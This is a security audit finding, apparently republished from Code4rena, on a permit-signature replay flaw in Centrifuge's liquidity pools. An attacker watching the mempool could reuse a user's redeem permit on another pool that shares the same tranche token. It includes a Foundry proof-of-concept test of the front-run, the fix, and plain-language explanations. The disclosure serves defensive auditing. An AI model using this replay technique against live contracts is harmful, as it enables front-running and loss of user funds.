LiquidityPool::requestRedeemWithPermit transaction can be front run with the different liquidity pool
A permit signature for redeeming tranche tokens was bound only to the tranche token, not to a specific liquidity pool, so anyone could reuse it against a different pool with the same token. An attacker watching the mempool could front-run the user's redemption with a higher fee, consuming the signature and forcing the user to claim a different currency.
Originally disclosed on Code4rena
Submitted by alexfilippov314
The permit signature is linked only to the tranche token. That’s why it can be used with any liquidity pool with the same tranche token. Since anyone can call LiquidityPool::requestRedeemWithPermit the following scenario is possible:
- Let’s assume that some user has some amount of tranche tokens. Let’s also assume that there are multiple liquidity pools with the same tranche token. For example, USDX pool and USDY pool.
- The user wants to redeem USDX from the USDX pool using
requestRedeemWithPermit. The user signs the permit and sends a transaction. - A malicious actor can see this transaction in the mempool and use the signature from it to request a redemption from the USDY pool with a greater fee amount.
- Since this transaction has a greater fee amount it will likely be executed before the valid transaction.
- The user’s transaction will be reverted since the permit has already been used.
- If the user will not cancel this malicious request until the end of the epoch this request will be executed, and the user will be forced to claim USDY instead of USDX.
This scenario assumes some user’s negligence and usually doesn’t lead to a significant loss. But in some cases (for example, USDY depeg) a user can end up losing significantly.
Proof of Concept
The test below illustrates the scenario described above:
function testPOCIssue1(
uint64 poolId,
string memory tokenName,
string memory tokenSymbol,
bytes16 trancheId,
uint128 currencyId,
uint256 amount
) public {
vm.assume(currencyId > 0);
vm.assume(amount < MAX_UINT128);
vm.assume(amount > 1);
// Use a wallet with a known private key so we can sign the permit message
address investor = vm.addr(0xABCD);
vm.prank(vm.addr(0xABCD));
LiquidityPool lPool =
LiquidityPool(deployLiquidityPool(poolId, erc20.decimals(), tokenName, tokenSymbol, trancheId, currencyId));
erc20.mint(investor, amount);
homePools.updateMember(poolId, trancheId, investor, type(uint64).max);
// Sign permit for depositing investment currency
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
0xABCD,
keccak256(
abi.encodePacked(
"\x19\x01",
erc20.DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
erc20.PERMIT_TYPEHASH(), investor, address(investmentManager), amount, 0, block.timestamp
)
)
)
)
);
lPool.requestDepositWithPermit(amount, investor, block.timestamp, v, r, s);
// To avoid stack too deep errors
delete v;
delete r;
delete s;
// ensure funds are locked in escrow
assertEq(erc20.balanceOf(address(escrow)), amount);
assertEq(erc20.balanceOf(investor), 0);
// collect 50% of the tranche tokens
homePools.isExecutedCollectInvest(
poolId,
trancheId,
bytes32(bytes20(investor)),
poolManager.currencyAddressToId(address(erc20)),
uint128(amount),
uint128(amount)
);
uint256 maxMint = lPool.maxMint(investor);
lPool.mint(maxMint, investor);
{
TrancheToken trancheToken = TrancheToken(address(lPool.share()));
assertEq(trancheToken.balanceOf(address(investor)), maxMint);
// Sign permit for redeeming tranche tokens
(v, r, s) = vm.sign(
0xABCD,
keccak256(
abi.encodePacked(
"\x19\x01",
trancheToken.DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
trancheToken.PERMIT_TYPEHASH(),
investor,
address(investmentManager),
maxMint,
0,
block.timestamp
)
)
)
)
);
}
// Let's assume that there is another liquidity pool with the same poolId and trancheId
// but a different currency
LiquidityPool newLPool;
{
assert(currencyId != 123);
address newErc20 = address(_newErc20("Y's Dollar", "USDY", 6));
homePools.addCurrency(123, newErc20);
homePools.allowPoolCurrency(poolId, 123);
newLPool = LiquidityPool(poolManager.deployLiquidityPool(poolId, trancheId, newErc20));
}
assert(address(lPool) != address(newLPool));
// Malicious actor can use the signature extracted from the mempool to
// request redemption from the different liquidity pool
vm.prank(makeAddr("malicious"));
newLPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);
// User's transaction will fail since the signature has already been used
vm.expectRevert();
lPool.requestRedeemWithPermit(maxMint, investor, block.timestamp, v, r, s);
}
Recommended Mitigation Steps
One of the ways to mitigate this issue is to add some identifier of the liquidity pool to the permit message. This way permit will be linked to a specific liquidity pool.
hieronx (Centrifuge) confirmed and commented:
Mitigated in https://github.com/centrifuge/liquidity-pools/pull/159
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the permit message did not include the liquidity pool address, so the same signature was valid across every pool sharing that tranche token.
Impact
The user's redemption reverts and they could be forced to claim a different currency, which may cause a significant loss if that currency depegs; the report notes this usually requires user negligence.
What the attacker needed
Multiple pools share one tranche token; victim signs a redeem permit; attacker watches the mempool; attacker pays a higher fee
The fix
The permit message should include an identifier of the liquidity pool so the signature is bound to one specific pool; the project says it was mitigated in a pull request.
How it was found
- The user holds tranche tokens and there are several liquidity pools using the same tranche token.
- The user signs a permit and sends a redemption transaction to their intended pool.
- An attacker sees the transaction in the mempool and reuses the signature to request a redemption from a different pool with a higher fee.
- The attacker's transaction is mined first, so the user's transaction reverts because the permit is already used.
- If the user does not cancel the malicious request before the epoch ends, it executes and they must claim the other currency.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A permit is a signed message that lets someone else act on your behalf once, like a signed cheque. Here the cheque did not say which pool it was for, so a stranger could cash it at a different pool before you did, using up your one-time signature. Your own transaction then fails, and you may be stuck with a different currency than you wanted.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.